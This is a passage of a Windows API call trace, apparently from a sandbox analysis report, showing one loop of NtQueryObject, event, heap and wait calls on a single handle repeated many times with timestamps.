ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.292] ResetEvent (hEvent=0xdc) returned 1 [0094.292] SetEvent (hEvent=0xe0) returned 1 [0094.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.292] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.293] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.293] ResetEvent (hEvent=0xdc) returned 1 [0094.293] SetEvent (hEvent=0xe0) returned 1 [0094.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.293] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.294] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.294] ResetEvent (hEvent=0xdc) returned 1 [0094.294] SetEvent (hEvent=0xe0) returned 1 [0094.294] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.294] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.294] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.294] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.294] ResetEvent (hEvent=0xdc) returned 1 [0094.294] SetEvent (hEvent=0xe0) returned 1 [0094.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.295] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.295] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.295] ResetEvent (hEvent=0xdc) returned 1 [0094.295] SetEvent (hEvent=0xe0) returned 1 [0094.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.296] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.296] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.296] ResetEvent (hEvent=0xdc) returned 1 [0094.296] SetEvent (hEvent=0xe0) returned 1 [0094.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.297] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.297] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.297] ResetEvent (hEvent=0xdc) returned 1 [0094.297] SetEvent (hEvent=0xe0) returned 1 [0094.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.297] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.298] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.298] ResetEvent (hEvent=0xdc) returned 1 [0094.298] SetEvent (hEvent=0xe0) returned 1 [0094.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.298] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.299] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.299] ResetEvent (hEvent=0xdc) returned 1 [0094.299] SetEvent (hEvent=0xe0) returned 1 [0094.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.299] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.300] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.300] ResetEvent (hEvent=0xdc) returned 1 [0094.300] SetEvent (hEvent=0xe0) returned 1 [0094.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.300] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.301] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.301] ResetEvent (hEvent=0xdc) returned 1 [0094.301] SetEvent (hEvent=0xe0) returned 1 [0094.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.301] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.302] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.302] ResetEvent (hEvent=0xdc) returned 1 [0094.302] SetEvent (hEvent=0xe0) returned 1 [0094.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.302] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.302] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.302] ResetEvent (hEvent=0xdc) returned 1 [0094.303] SetEvent (hEvent=0xe0) returned 1 [0094.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.303] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.303] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.303] ResetEvent (hEvent=0xdc) returned 1 [0094.303] SetEvent (hEvent=0xe0) returned 1 [0094.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.304] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.304] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.304] ResetEvent (hEvent=0xdc) returned 1 [0094.304] SetEvent (hEvent=0xe0) returned 1 [0094.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.305] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.305] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.305] ResetEvent (hEvent=0xdc) returned 1 [0094.305] SetEvent (hEvent=0xe0) returned 1 [0094.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.305] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.306] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.306] ResetEvent (hEvent=0xdc) returned 1 [0094.306] SetEvent (hEvent=0xe0) returned 1 [0094.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.306] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.307] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.307] GetFileType (hFile=0x174) returned 0x3 [0094.307] ResetEvent (hEvent=0xdc) returned 1 [0094.307] SetEvent (hEvent=0xe0) returned 1 [0094.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.307] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.308] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.308] GetFileType (hFile=0x174) returned 0x3 [0094.308] ResetEvent (hEvent=0xdc) returned 1 [0094.308] SetEvent (hEvent=0xe0) returned 1 [0094.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.308] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.309] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.309] GetFileType (hFile=0x174) returned 0x3 [0094.309] ResetEvent (hEvent=0xdc) returned 1 [0094.309] SetEvent (hEvent=0xe0) returned 1 [0094.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.309] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.310] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.310] ResetEvent (hEvent=0xdc) returned 1 [0094.310] SetEvent (hEvent=0xe0) returned 1 [0094.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.310] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.310] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.311] ResetEvent (hEvent=0xdc) returned 1 [0094.311] SetEvent (hEvent=0xe0) returned 1 [0094.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.311] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.311] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.311] GetFileType (hFile=0x174) returned 0x3 [0094.311] ResetEvent (hEvent=0xdc) returned 1 [0094.311] SetEvent (hEvent=0xe0) returned 1 [0094.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.312] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.312] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.312] GetFileType (hFile=0x174) returned 0x3 [0094.312] ResetEvent (hEvent=0xdc) returned 1 [0094.312] SetEvent (hEvent=0xe0) returned 1 [0094.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.313] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.313] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.313] GetFileType (hFile=0x174) returned 0x3 [0094.313] ResetEvent (hEvent=0xdc) returned 1 [0094.313] SetEvent (hEvent=0xe0) returned 1 [0094.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.314] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.314] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.314] ResetEvent (hEvent=0xdc) returned 1 [0094.314] SetEvent (hEvent=0xe0) returned 1 [0094.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.314] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.315] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.315] ResetEvent (hEvent=0xdc) returned 1 [0094.315] SetEvent (hEvent=0xe0) returned 1 [0094.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.315] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.316] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.316] ResetEvent (hEvent=0xdc) returned 1 [0094.316] SetEvent (hEvent=0xe0) returned 1 [0094.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.316] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.317] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.317] ResetEvent (hEvent=0xdc) returned 1 [0094.317] SetEvent (hEvent=0xe0) returned 1 [0094.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.317] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.317] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.318] ResetEvent (hEvent=0xdc) returned 1 [0094.318] SetEvent (hEvent=0xe0) returned 1 [0094.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.318] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.318] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.318] ResetEvent (hEvent=0xdc) returned 1 [0094.318] SetEvent (hEvent=0xe0) returned 1 [0094.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.319] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.319] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.319] ResetEvent (hEvent=0xdc) returned 1 [0094.319] SetEvent (hEvent=0xe0) returned 1 [0094.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.320] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.320] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.320] ResetEvent (hEvent=0xdc) returned 1 [0094.320] SetEvent (hEvent=0xe0) returned 1 [0094.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.320] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.321] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.321] ResetEvent (hEvent=0xdc) returned 1 [0094.321] SetEvent (hEvent=0xe0) returned 1 [0094.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.321] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.322] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.322] ResetEvent (hEvent=0xdc) returned 1 [0094.322] SetEvent (hEvent=0xe0) returned 1 [0094.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.334] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.335] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.335] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.335] ResetEvent (hEvent=0xdc) returned 1 [0094.335] SetEvent (hEvent=0xe0) returned 1 [0094.335] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.335] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.336] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.336] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.336] ResetEvent (hEvent=0xdc) returned 1 [0094.336] SetEvent (hEvent=0xe0) returned 1 [0094.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.336] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.337] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.337] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.337] ResetEvent (hEvent=0xdc) returned 1 [0094.337] SetEvent (hEvent=0xe0) returned 1 [0094.337] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.337] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.337] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.337] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.338] ResetEvent (hEvent=0xdc) returned 1 [0094.338] SetEvent (hEvent=0xe0) returned 1 [0094.338] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.338] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.338] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.338] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.338] ResetEvent (hEvent=0xdc) returned 1 [0094.338] SetEvent (hEvent=0xe0) returned 1 [0094.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.339] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.339] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.339] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0094.339] ResetEvent (hEvent=0xdc) returned 1 [0094.339] SetEvent (hEvent=0xe0) returned 1 [0094.339] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0094.340] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0094.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0094.340] NtQueryObject (in: Handle=0x174, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, 